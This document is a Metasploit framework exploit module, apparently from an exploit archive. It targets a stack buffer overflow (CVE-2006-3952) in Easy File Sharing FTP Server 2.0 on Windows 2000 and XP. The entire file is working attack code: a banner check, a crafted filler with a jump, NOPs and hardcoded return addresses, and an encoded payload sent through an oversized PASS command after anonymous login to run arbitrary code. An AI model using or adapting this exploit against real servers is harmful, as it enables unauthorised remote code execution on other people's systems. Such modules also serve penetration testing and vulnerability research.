Easy File Sharing FTP Server 2.0 PASS Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Ftp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Easy File Sharing FTP Server 2.0 PASS Overflow',  
'Description' => %q{  
This module exploits a stack overflow in the Easy File Sharing 2.0  
service. By sending an overly long password, an attacker can execute  
arbitrary code.  
},  
'Author' => 'MC',  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2006-3952' ],  
[ 'OSVDB', '27646' ],  
[ 'BID', '19243' ],  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 600,  
'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows 2000 Pro English ALL', { 'Ret' => 0x75022ac4 } ],  
[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],  
],  
'DisclosureDate' => 'Jul 31 2006',  
'DefaultTarget' => 0))  
end  
  
def check  
connect  
disconnect  
  
if (banner =~ /Easy File Sharing FTP Server/)  
return Exploit::CheckCode::Vulnerable  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
connect  
  
filler = rand_text_english(2559) + "\xeb\x12"   
filler << make_nops(2) + [target.ret].pack('V')  
  
sploit = "\x2c" + filler + payload.encoded   
  
print_status("Trying target #{target.name}...")  
  
# needs anonymous to be set.  
send_cmd(['USER', "anonymous"], true)  
send_cmd(['PASS', sploit], false)  
  
handler  
disconnect  
end  
  
end  
`